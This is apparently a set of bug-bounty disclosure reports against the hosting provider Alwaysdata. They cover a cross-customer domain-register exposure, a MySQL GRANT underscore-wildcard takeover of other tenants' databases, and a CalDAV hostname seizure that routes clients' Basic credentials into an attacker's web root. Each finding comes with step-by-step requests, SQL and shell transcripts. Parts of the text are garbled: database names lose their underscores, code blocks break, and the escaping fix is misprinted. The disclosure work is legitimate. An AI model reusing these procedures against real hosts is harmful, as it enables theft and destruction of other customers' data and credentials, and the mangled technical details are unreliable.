All three independent sessions return HTTP 200 and display domain records that do not belong to me.

See the Proof of Concept below.

3. Determine the size of the exposure from the paginator rather than estimating it.

 ?page=1       20 data rows
 ?page=2178     5 data rows
 ?page=2179     0 data rows

Therefore:

```
2177 x 20 + 5 = 43,545 records
```

I did not enumerate the records. I used the paginator only to establish the total bound.

4. Verify the authorization controls.

a) Authentication IS required, so this is not an unauthenticated leak:

```
Anonymous GET /reseller/domain/
```

returns:

```
302 to /reseller/domain/
```

b) Sibling routes in the SAME application ARE gated:

```
GET /reseller/customer/ 302 to /
GET /reseller/ticket/notifications/ 302 to /
GET /reseller/ 404
GET /reseller/zzzznotreal/ 404
```

The nonexistent route check was used as a route-existence control.

c) The customer-facing equivalent is correctly scoped:

```
GET /domain/
```

shows only the authenticated customer's own domains.

On these accounts it returned:

```
No domain name
```

A foreign domain ID also returns:

```
GET /domain/<foreign id>/ 404
```

The response was byte-identical to the nonexistent-object case.

Therefore, object-level authorization appears correctly enforced on the other relevant routes I tested. It is specifically this global reseller listing that is exposed.

d) The impersonation link printed in each row is NOT independently exploitable based on my testing:

```
GET /reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1 404
GET /reseller/customer/<CUSTOMER-ID-B>/connect/?all_permissions=1 404
GET /reseller/customer/999999999/connect/?all_permissions=1 404
```

Real and nonexistent customer IDs behaved identically.

I therefore make NO account takeover claim from these links. I mention them only because the listing itself discloses the internal customer IDs.

5. I re-verified the issue at 05:45:11Z from a newly established session, logged in from scratch specifically for this check.

The endpoint still returned HTTP 200, with 20 records on page 1 and 2,178 pages containing data.

Proof of Concept:

All output below is verbatim except that customer-identifying values are replaced with placeholders. The real values are retained in the private annex because tasks on this tracker are published.

Page 1 of /reseller/domain/ as an ordinary customer:

```
Name Account Internal Expiration date
<DOMAIN-A> <ACCOUNT-A> no 19/10/2025
<DOMAIN-B> <ACCOUNT-B> no 21/12/2025
<DOMAIN-C> <ACCOUNT-C> no 11/06/2026
<DOMAIN-D> <ACCOUNT-D> yes 10/07/2026
<DOMAIN-E> <ACCOUNT-E> yes 11/07/2026
(15 further rows on the page, none of them mine)
```

The row markup for the first record also contains the internal IDs:

```
/reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1&next=/domain/<DOMAIN-ID-A>/?_account=<ACCOUNT-A>
```

Your own infrastructure, from the same ordinary customer session:

```
?name=alwaysdata

alwaysdata.com owner account "ad" Internal: yes
alwaysdata.net owner account "ad" Internal: yes
alwaysdata.fr owner account "ad" Internal: yes
alwaysdata.info owner account "ad" Internal: yes
alwaysdata.org owner account "ad" Internal: yes
alwaysdata-test1.com owner account <STAFF-SANDBOX-ACCOUNT>
```

The "ad" row contains:

```
/reseller/customer/9341/connect/
```

which discloses your internal customer ID.

Paginator bound:

```
?page=1 20 data rows
?page=2178 5 data rows
Total 43,545 records
```

Impact:

Any person who registers a free Alwaysdata account obtains a complete, authoritative, pageable copy of the customer-to-domain register:

```
43,545 domains
Owning account names
Internal customer IDs
Expiration dates
Internal domain status
```

Concretely, this enables:

Competitor intelligence at whole-book scale.

The entire hosting customer base becomes queryable, including customers whose relationship with Alwaysdata is not externally visible from DNS because their domains are delegated elsewhere.

Targeted takeover preparation.

The expiration-date column identifies when domains lapse, while the account column identifies the Alwaysdata account associated with a specific business.

Account-name resolution for follow-on attacks.

The listing provides the Alwaysdata account name associated with each domain. That account name can then be correlated with Alwaysdata.net hostnames, SSH, FTP and WebDAV usernames, mail addresses, and database naming conventions.

This converts a target such as "I want to attack company X" into the corresponding Alwaysdata account for the entire customer base.

Phishing and social-engineering targeting.

The combination of domain ownership, account identity, and expiration date can be used to construct convincing renewal-related lures.

Disclosure of internal infrastructure.

The listing exposes the account that owns alwaysdata.net and the shared zone, its internal customer ID, and at least one staff sandbox account.

Customer privacy impact.

The affected data subjects are Alwaysdata customers. Some customers may be sole traders or individuals, meaning the domain-to-account mapping can constitute personal data independently of the direct security impact.

Recommendation:

1. Apply the same reseller authorization decorator already used by the correctly gated /reseller/ routes to /reseller/domain/.

This is the direct fix for the authorization defect.

2. Fix the filter injection on the same endpoint as well.

I am filing that issue separately as a Critical finding. Neither fix substitutes for the other. The authorization decorator alone would still leave the filter-injection issue reachable by an authorized reseller.

The same filter helper is also shared with:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

3. Audit /reseller/subscription/ at the same time.

This is the second route in the application that did not redirect my non-reseller accounts. It returned:

```
0 element(s)
No current subscription
```

Changing the ?customer= filter did not alter the result.

I therefore make no claim about this route. However, it should be reviewed in the source code to confirm that its queryset is genuinely tenancy-filtered rather than merely empty for my accounts.

4. As defense in depth, make the reseller queryset filter explicit through the shared mixin or equivalent authorization mechanism.

The underlying risk is not only the missing authorization check on this view. Omitting the check currently results in the global queryset being returned.

5. Consider whether the row template needs to embed the internal customer ID at all.

The /reseller/customer/<id>/connect/ route is not usable by the reader based on my testing, so exposing the internal customer ID provides additional internal information without an apparent benefit to an unauthorized reader.

DISCLOSURE AND CLEANUP:

This report is entirely read-only.

I did not modify or delete anything.

I read only page 1 and page 2178 to establish the record count, along with a small number of ?name= queries quoted above. I did not enumerate the register.

I have retained nothing beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been replaced with placeholders in this task because reports on this tracker are published.

Test window:

```
2026-09-23 04:55Z to 05:45Z UTC
```

 491 Closed Cross-Customer Database Takeover via GRANT Wildcard Bajinder Task Description

NAME OF VULNERABILITY

The MySQL provisioner interpolates the customer-supplied database name into:

```
GRANT ALL PRIVILEGES ON `<name>`.*
```

without escaping it.

In MySQL and MariaDB, the database component of a GRANT is a pattern in which the underscore matches any single character. As a result, a customer who creates a database named with their mandatory account prefix followed by underscores receives full read, write, and DROP rights on every database of the same length belonging to another customer whose account name begins with theirs.

—

VULNERABILITY CATEGORY

Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

Cross-customer data access on shared infrastructure.

—

CVSS

CVSS 3.1 score: 9.9 Critical

Vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

The issue is network reachable, trivial to perform, requires only a free self-service account, requires no user interaction, and yields confidentiality, integrity, and availability impact through SELECT, INSERT, UPDATE, and DROP access to another customer's data.

Scope is Changed because the flaw exists in the control-plane provisioner while the impacted component is the shared MariaDB instance and other tenants' data.

—

DESCRIPTION

When a customer creates a MySQL database, the control plane grants the account's database user rights on it using a statement of the form:

```
GRANT ALL PRIVILEGES ON `<database name>`.* TO `<db user>`@`%` WITH GRANT OPTION
```

In MySQL and MariaDB, the database component of a GRANT is not a literal identifier. It is a pattern, using the same wildcard semantics as LIKE.

The underscore is therefore interpreted as a single-character wildcard.

To grant privileges on a literal name containing an underscore, that underscore must be escaped as _.

Your provisioner does not escape it.

THE NAMING RULE MAKES THE PROBLEM UNAVOIDABLE

Your own naming rule requires every database name to begin with:

```
<account>_
```

The form explicitly states:

```
"must start with: vk7research_"
```

That mandatory separator is itself the first wildcard character, so every grant you issue is already a pattern rather than a literal database name.

Normally, that is harmless because the remainder of the name is literal text.

It stops being harmless when a customer deliberately supplies additional underscores.

CROSS-CUSTOMER ACCESS

A customer who creates a database named:

```
zzr1 ``` receives: ```
GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION
```

MariaDB evaluates this as a pattern matching any database whose name is zzr1 followed by fourteen characters.

That set includes:

```
zzr1sticky0921_vic
```

which is a database belonging to a different customer on a different account.

No grant naming the victim's database is ever created, and none appears in SHOW GRANTS.

BOUNDS ON THE REACH

The reach is bounded by two things, and I state both rather than overstate the issue.

First, the database name must still begin with the attacker's own account name, so the victim's account name must have the attacker's account name as a strict prefix.

Second, the percent sign, which is the multi-character wildcard, is rejected by the name validator. Therefore, the attacker must match the victim's database name length exactly.

This costs only a few dozen databases to cover every plausible length.

Neither bound is a meaningful obstacle because the attacker chooses their own account name during free self-service signup and can register a name that prefixes their intended target.

WHY THIS IS NOT WORKING AS INTENDED

Your own interface defines the intended model, and this behavior defeats it.

The endpoint:

```
/database/add/?type=mysql
```

offers exactly three per-database permission levels for the account's database user:

```
"all rights"
"read only"
"no rights"
```

Per-database permissioning is therefore a control you deliberately expose.

The database used in my proof was configured with "no rights", which is the strongest setting your interface offers, and it was still fully readable, writable, and droppable.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

Your standing position is that a customer can already do anything over their own SSH access.

That does not apply here.

The differential is built into this report as a control.

Using the same credentials, from the same client, against the same host:

```
SELECT * FROM zzr1sticky0921_vic.secrets
```

returned:

```
ERROR 1142 SELECT command denied
```

before the wildcard database existed.

After the wildcard database existed, the same query returned the victim's row.

Nothing about network position changed.

Only the grant changed.

I also ran the shell control on the node myself, documented below.

I explicitly do NOT claim network reach to port 3306 as part of this finding.

Reachability is irrelevant and conceded.

The finding is the grant.

—

VULNERABLE INSTANCES

```
POST https://admin.alwaysdata.com/database/add/?type=mysql

Field: "name"
```

The resulting GRANT is issued on:

```
mysql-<account>.alwaysdata.net
```

Observed instance:

```
185.31.41.41
mysql21.paris1
11.4.13-MariaDB
```

Affects MySQL and MariaDB only.

PostgreSQL and RabbitMQ are not affected. See the scope note under Recommendation.

—

STEPS TO REPRODUCE

Total cost: EUR 0.

Two accounts owned by two different users with no permission grant between them.

All times UTC, 2026-09-23.

PART 1. THE WILDCARD MECHANISM, INSIDE A SINGLE ACCOUNT

This isolates the cause.

1. On account vk7research, create database vk7research_zzv1 and set the account's database user permission on it to NONE.

 Set a password on database user vk7research (ID 2046733).

2. Connect to:

 ```
 mysql-vk7research.alwaysdata.net
 ```
 as vk7research and record the baseline:
 ```
 SELECT VERSION(), @@hostname, CURRENT_USER()
 ```
 Returns:
 ```
 ('11.4.13-MariaDB', 'mysql21', 'vk7research@%')
 ```
 SHOW DATABASES returns information_schema only, so the zzv1 database is NOT visible.
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 ```
 Therefore, there is no database grant at all.

3. Create ONE more database named:

 ```
 vk7research_____
 ```
 This is the account prefix plus five underscores.
 It is 16 characters long, the same length as vk7research_zzv1.
 Set its permission to FULL.

4. Reconnect with the SAME credentials and repeat the SAME queries.

 SHOW DATABASES returns:
 ```
 information_schema
 vk7research_____
 vk7research_zzv1
 ```
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 GRANT ALL PRIVILEGES ON `vk7research_____`.* TO `vk7research`@`%` WITH GRANT OPTION
 ```
 There is still NO grant mentioning vk7research_zzv1.
 Nevertheless, it is now visible and writable.

PART 2. THE SAME FLAW ACROSS TWO CUSTOMERS

This demonstrates the actual impact.

5. VICTIM

 As user 489840 ([vk7research+l6@alwaysdata.net](mailto:vk7research+l6@alwaysdata.net)) on account zzr1sticky0921 (ID 501073), create:
 ```
 zzr1sticky0921_vic
 ```
 The database is 18 characters long.
 Plant a canary row and confirm that it is present as the owner.

6. ATTACKER

 As a DIFFERENT user (489835), register a free account named:
 ```
 zzr1
 ```
 This is a strict prefix of the victim's account name.
 Self-service signup costs EUR 0 and requires no approval.
 Set a password on its database user.

7. BASELINE AS THE ATTACKER

 Before doing anything else, establish the control:
 ```
 SELECT CURRENT_USER()
 ```
 returns:
 ```
 ('zzr1@%',)
 SHOW DATABASES
 ```
 returns:
 ```
 information_schema
 ```
 Therefore, the victim's database is not visible.
 ```
 SHOW GRANTS
 ```
 returns:
 ```
 GRANT USAGE ON *.*
 ```
 Attempting:
 ```
 SELECT * FROM zzr1sticky0921_vic.secrets
 ```
 returns:
 ```
 ERROR 1142 SELECT command denied to user 'zzr1'@'...' for table
 `zzr1sticky0921_vic`.`secrets`
 ```

8. As the attacker, create ONE database named:

 ```
 zzr1______________
 ```
 This is zzr1 plus fourteen underscores.
 It is 18 characters long, matching the victim's database name length.
 Set its permission to FULL.

9. Reconnect as the attacker with the SAME credentials and repeat the SAME queries.

 The victim's data is returned.
 The full transcript is included in the Proof of Concept below.

10. WRITE CONFIRMED FROM THE VICTIM'S SIDE

  Reconnect as the victim's own database user:
  ```
  zzr1sticky0921
  ```
  SELECT returns BOTH rows, including the row inserted by the attacker.
  The write therefore landed in the victim's database. It is not an artifact of the attacker's session.

PART 3. THE TWO IMPACT CLAIMS

These were demonstrated rather than inferred, from 08:05Z to 08:10Z, using my own accounts.

11. DROP

  With database vk7research_zzq3 created at permission NONE and one wildcard sibling created with FULL permission, using only the wildcard grant, CREATE TABLE, INSERT, and DROP TABLE all succeed on a database the grant does not name.
  Destruction is real, not an inference from the words ALL PRIVILEGES.

12. PERSISTENCE VIA WITH GRANT OPTION

  The attacker issues an explicit grant naming the other database and then deletes their own wildcard database.
  The explicit grant REMAINS.
  Access is retained.
  The attacker CANNOT revoke it again.
  It cleared only when the database itself was dropped.
  In a real attack, this means the victim would have to destroy their own data or the provider would have to clean mysql.db directly.

—

PROOF OF CONCEPT

All output below is verbatim.

ATTACKER BASELINE, BEFORE THE WILDCARD DATABASE EXISTS, 07:14Z

```
SELECT CURRENT_USER()

  ('zzr1@%',)

SHOW DATABASES

  (('information_schema',),)

SHOW GRANTS

  GRANT USAGE ON *.* TO `zzr1`@`%` IDENTIFIED BY PASSWORD '*0023...'

SELECT * FROM zzr1sticky0921_vic.secrets

  ERROR 1142 SELECT command denied to user 'zzr1'@'117.255.15.131'
  for table `zzr1sticky0921_vic`.`secrets`

```

ATTACKER CREATES ONE DATABASE NAMED zzr1, THEN RECONNECTS, 07:16Z ```
SHOW GRANTS
GRANT USAGE ON *.* TO `zzr1`@`%` … GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION

SHOW DATABASES

  (('information_schema',), ('zzr1______________',), ('zzr1sticky0921_vic',))

SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),)

SHOW TABLES IN zzr1sticky0921_vic

  (('secrets',),)

INSERT INTO zzr1sticky0921_vic.secrets VALUES (2,'ATTACKER-WROTE-THIS')

  OK

```

VICTIM READS BACK THE ATTACKER'S WRITE WITH ITS OWN CREDENTIALS, 07:20Z

```
SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),
   (2, 'ATTACKER-WROTE-THIS'))

```

DROP THROUGH THE WILDCARD GRANT ALONE, 08:07Z

```
SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_____`.* ...
  (no grant names vk7research_zzq3)

CREATE TABLE vk7research_zzq3.t1 (i INT)

  OK

INSERT INTO vk7research_zzq3.t1 VALUES (1)

  OK

DROP TABLE vk7research_zzq3.t1

  OK

SHOW TABLES IN vk7research_zzq3

  empty

```

PERSISTENCE VIA WITH GRANT OPTION, 08:08Z TO 08:10Z

```
GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

  OK

(delete the WILDCARD database through the panel)

SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

SHOW DATABASES

  (('information_schema',), ('vk7research_zzq3',))

CREATE TABLE vk7research_zzq3.t2 (i INT)

  OK

DROP TABLE vk7research_zzq3.t2

  OK

REVOKE ALL PRIVILEGES ON `vk7research_zzq3`.* FROM `vk7research`@`%`

  ERROR 1044 Access denied for user 'vk7research'@'%'
  to database 'vk7research_zzq3'

```

SHELL CONTROL ON THE SHARED NODE, RUN BY ME, 08:12Z

```
id

  uid=548819(vk7research) gid=502763(vk7research)

hostname

  ssh2

ls -ld /home/zzr1sticky0921

  drwxrwx--T 5 root zzr1sticky0921

ls /home/zzr1sticky0921

  Permission denied

ls -d /var/lib/mysql

  No such file or directory, the datadir is not on this node

mysql -h mysql-vk7research… -e 'SHOW DATABASES'
with no credentials

  ERROR 1045 Access denied for user 'vk7research'@'2a00:b6e0:1:50:1::1'

ls -la ~/.my.cnf

  No such file or directory, no credential is planted

```

The shell therefore cannot reach another account's data through the filesystem or database without credentials.

NAME VALIDATOR CONTROLS

These were run so I would not overstate the reach.

```
vk7research%

  rejected, "Enter a valid value", "must start with: vk7research_"

vk7research_%

  rejected, same

vk7research\_x

  rejected, same

vk7research ACCEPTED
``` Only the underscore is usable, which is what bounds the attack to a length match. — IMPACT Any person can register a free Alwaysdata account, choose a name that is a prefix of a target customer's account name, create a handful of databases whose names are that prefix followed by underscores of each plausible length, and thereby obtain SELECT, INSERT, UPDATE, DELETE, and DROP access to that customer's MySQL databases. That means the following: FULL DISCLOSURE OF ANOTHER CUSTOMER'S APPLICATION DATA An attacker can read user tables, password hashes, session tables, personal data, orders, messages, and anything else stored by the victim's application. SILENT MODIFICATION An attacker can insert an administrator row into a victim's CMS user table and take over the victim's application, or alter financial or business records. DESTRUCTION I demonstrated this rather than inferring it from the words ALL PRIVILEGES. Through a wildcard grant alone, CREATE TABLE, INSERT, and DROP TABLE all succeeded on a database that the grant does not name. PERSISTENCE I demonstrated this end to end. The grant carries WITH GRANT OPTION, so the attacker can issue themselves an EXPLICIT grant naming the victim's database. That grant survives deletion of the attacker's own wildcard database. Access is retained afterwards, and the attacker cannot revoke it again. It is also invisible to the control plane, which continues to show the target database with its normal user count. SILENT FROM THE VICTIM'S SIDE It is silent on the victim's side as far as I could observe. Nothing in the panel represents the attacker's access. Throughout the test, the target database continued to display its normal user count, and the attacker's self-minted explicit grant appeared nowhere in the interface. I did not have a way to inspect the victim's own SHOW GRANTS for a grant issued to a DIFFERENT user, so I limit the claim to what I observed. ACCOUNT PREFIX RELATIONSHIPS I make no claim about how many existing accounts already stand in a prefix relationship to one another. Establishing that would have required harvesting your customer list, which I did not do. It is worth checking internally, but the finding does not rest on it. The attacker manufactures the relationship, and I demonstrated exactly that by registering zzr1 specifically because zzr1sticky0921 already existed. — RECOMMENDATION 1. ESCAPE WILDCARD CHARACTERS WHEN BUILDING THE GRANT In the database component of a GRANT, the underscore must be written _ and the percent sign must be written % to be treated literally. This is a one-line fix in the statement builder and is the actual defect. Apply the same treatment anywhere else a customer-controlled identifier is interpolated into a GRANT or REVOKE. 2. REJECT LIKE METACHARACTERS AS A SECOND LAYER Reject the underscore and any other LIKE metacharacter in the customer-supplied portion of the database name. The mandatory <account>_ separator can be added by the server rather than typed by the customer, so the customer-supplied remainder never needs to contain an underscore. 3. AUDIT EXISTING GRANTS This is the urgent part. Any wildcard grant already issued is live right now. Enumerate mysql.db for rows whose Db column contains an unescaped underscore that resolves to more than one existing schema, and identify any grant whose pattern matches a database owned by a different account. 4. AUDIT GRANTS CREATED THROUGH WITH GRANT OPTION Because the grants carry WITH GRANT OPTION, also look for explicit grants that a customer may already have minted for themselves on another customer's database. Those grants will survive the fix above because they name the victim's database literally. Removing WITH GRANT OPTION from the provisioner's statement is also worth doing because customers do not need it. — SCOPE NOTE PostgreSQL and RabbitMQ are NOT affected. PostgreSQL privileges are recorded per object OID rather than by pattern, and I confirmed that a foreign database is refused with: ```
permission denied for database
``` with 0 of 1709 databases having a PUBLIC CONNECT ACL. RabbitMQ vhost permissions are exact-match, and a foreign vhost is refused. The panel's own object authorization is also correct. Foreign database IDs return 404, byte-identical to a nonexistent ID. The defect is specifically the MySQL GRANT statement builder. — DISCLOSURE AND CLEANUP Every object created for this report has been deleted, and I verified the result at the database engine rather than merely in the panel. Both vk7research and zzr1sticky0921 now return only: ```
information_schema
``` for SHOW DATABASES and only: ```
GRANT USAGE ON *.*
``` for SHOW GRANTS. No residual wildcard grant remains. Deleted: ```
vk7research_zzv1
vk7research
_
vk7research_zzq3
zzr1sticky0921_vic
zzr1
```

and one name-validator probe database.

The account zzr1 (ID 501523) was also deleted.

The canary table was destroyed with its database.

The single row inserted into the victim database was deleted immediately after the read-back in Step 10, and that database was then dropped entirely.

No third-party customer's data was ever read, written, or deleted at any point.

Both the attacker and the victim were accounts I own.

Passwords were set on two of my own database users during testing. I am NOT printing them in this report because these tasks are published and the credentials could accept connections from the internet.

They are in the private annex sent alongside this report and can be rotated or disregarded.

ADDITIONAL DISCLOSURE

A parallel test briefly renamed account 500763 from vk7research to webmaster and back, approximately 06:52Z to 07:03Z, overlapping the original Part 1 window.

Part 2, the cross-customer proof, was unaffected. It ran from 07:10Z to 07:20Z on two entirely different accounts after that rename had been reverted.

I nevertheless re-ran Part 1 from scratch at 07:50Z on a clean account state, and it reproduced identically.

That rename also left:

```
webmaster.alwaysdata.net
```

resolving to:

```
185.31.41.11
```

on multiple public resolvers while no account holds the name webmaster.

I could not remove that record.

I believe that record is mine.

TEST WINDOW

2026-09-23 06:40Z to 08:15Z UTC

 485 Closed Cross-Customer Account Takeover via CalDAV Hostname Sei ...Bajinder Task Description

VULNERABILITY INFORMATION:

Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.

The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.

Vulnerability Category:
Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.

Description:

An account's name is used to generate that account's per-service alwaysdata.net zone.

You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.

"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.

Creating a free account called:

caldav-<victim>

therefore takes over:

caldav-<victim>.alwaysdata.net

which is the CalDAV endpoint your own panel tells customer <victim> to configure.

The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.

That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.

Two code paths disagree, and that disagreement is the defect.

The user-facing site address field correctly refuses a hostname the attacker does not own:

caldav-vk7victim.alwaysdata.net

is rejected with:

"The domain name alwaysdata.net does not belong to you"

and:

vk7victim.alwaysdata.net

is rejected with:

"delegated to the vk7victim account".

The auto-provisioner's DEFAULT address on account creation does not run that check.

Only the path a customer cannot see is blind.

SCOPE NOTE, established by testing rather than assumed:

Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.

I checked the other prefixes rather than claiming them:

```
185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed
185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed
185.31.41.92 the real CalDAV host 443 OPEN 993 closed
```

Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.

Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.

Everything below is specific to caldav- and carddav-.

Vulnerable Instances:

POST https://admin.alwaysdata.com/admin/account/add/ field "name"

POST https://admin.alwaysdata.com/account/<id>/rename/
field "name"

POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha

The DNS auto-provisioner creates an account's default alwaysdata.net zone.

Steps to Reproduce:

Total cost: EUR 0, approximately four minutes.

Every account involved is one I own, and the "victim" record belongs to my own second account.

1. The blocklist gap.

 Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
 ssh-vk7victim         -> "This name contains an invalid prefix."
 ftp-vk7victim         -> "This name contains an invalid prefix."
 smtp-vk7victim        -> "This name contains an invalid prefix."
 webdav-vk7victim      -> "This name contains an invalid prefix."
 mysql-vk7victim       -> "This name contains an invalid prefix."
 postgresql-vk7victim  -> "This name contains an invalid prefix."
 rabbitmq-vk7victim    -> "This name contains an invalid prefix."
 services-vk7victim    -> "This name contains an invalid prefix."
 imap-vk7victim        -> ACCEPTED, no prefix error
 pop-vk7victim         -> ACCEPTED, no prefix error
 caldav-vk7victim      -> ACCEPTED, no prefix error
 carddav-vk7victim     -> ACCEPTED, no prefix error
 The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
 Uniqueness is case-insensitive, so VK7RESEARCH is refused.

2. Obtain a second free account.

 /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
 POST https://www.alwaysdata.com/en/register/
 email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
  1. > HTTP 302

Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>

 Plus addressing on my own platform mailbox works, so the validation message can be received.
 imap-<ours>.alwaysdata.net:993 with the service password.
 I completed:
 /user/validate/?user_id=<b36>&token=...
 and then POST /login/.

3. Record the victim's CalDAV record BEFORE the attack.

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.92

the shared Radicale CalDAV host

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
  1. > 2a00:b6e0:1:90:8::1

4. Create the colliding account.

 One request, with no warning or confirmation:
 POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/
 csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
 &location=datacenter_3&contract_28=on&contract_36=on
  1. > HTTP 302

Location: /subscription/

 /subscription/ then lists:
 caldav-vk7victim | Free (1GB disk, 256M...)
 account 500765, subscription 520987
 with a default site 1078599 and subdomain object 1351172 for:
 caldav-vk7victim.alwaysdata.net

5. The victim's record has moved.

 I queried the authoritative nameserver so this is not a local cache artefact.
 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

the shared web node serving the attacker's new account

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 2a00:b6e0:1:20:23::1
 $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.11

6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.

 $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net
  1. > subject=CN=*.alwaysdata.net
  2. > issuer=C=US, O=Let's Encrypt, CN=YE1
  3. > X509v3 Subject Alternative Name:

DNS:*.alwaysdata.net, DNS:alwaysdata.net

  1. > notBefore=Sep 15 06:30:39 2026 GMT
  2. > notAfter=Dec 14 06:30:38 2026 GMT

7. The credential channel terminates in the attacker's web root.

 The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
 $ curl -D- https://caldav-vk7research.alwaysdata.net/
  1. > HTTP/1.0 401
  2. > www-authenticate: Basic realm="Radicale - Password Required"
  3. > server: WSGIServer/0.2 CPython/3.11.2
 A one-line index.php in the attacker account's web root echoes the Authorization header.
 Simulating the client your own documentation tells account vk7victim to configure:
 $ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12" 
 -u 'vk7victim:<placeholder>' 
 https://caldav-vk7victim.alwaysdata.net/index.php
  1. > HTTP/2 200
  2. > via: 2.0 alproxy
  3. > served by account: caldav-vk7victim on host http22
  4. > Host header: caldav-vk7victim.alwaysdata.net
  5. > Authorization header received: Basic dms3dmljdGltOi4uLg==
 The value in this request is a PLACEHOLDER, not the account's real password.
 The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.

8. Additional defect found while remediating: releasing the name does not restore the DNS record.

 POST /account/500765/rename/
 name=zztestl6dns
  1. > HTTP 302
 $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
  1. > 185.31.41.92

the new name provisioned correctly

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

STILL pointing at the attacker's node

 Therefore, the hijack outlives the account name that caused it.
 A no-op rename did not restore it either.
 This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).

9. Controls that rule out alternative explanations.

 a. The records are real per-account entries, not a wildcard.
 $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
  1. > no matching account record
 b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
 caldav-vk7research.alwaysdata.net   A -> 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -> 185.31.41.92
 imap-vk7research.alwaysdata.net     A -> 185.31.40.62
 $ curl -o /dev/null -w '%{http_code} %{remote_ip}' 
 https://caldav-vk7research.alwaysdata.net/
  1. > 302 185.31.41.92
 c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
 ssh-nosuchacct9912  -> blocked
 pop-nosuchacct9912  -> accepted
 d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
 Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
 vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net
 The control that proves my request shape was correct:
 vk7research.alwaysdata.net/orchctl
 returned HTTP 302 in the identical request and was persisted and read back.

Proof of Concept:

Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.

The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did not point a real third party's calendar client at the seized hostname.

The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.

* I did not use a captured credential against FTP, MySQL or SSH.

The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.

* The remaining step is standard DAV client behaviour rather than speculation.

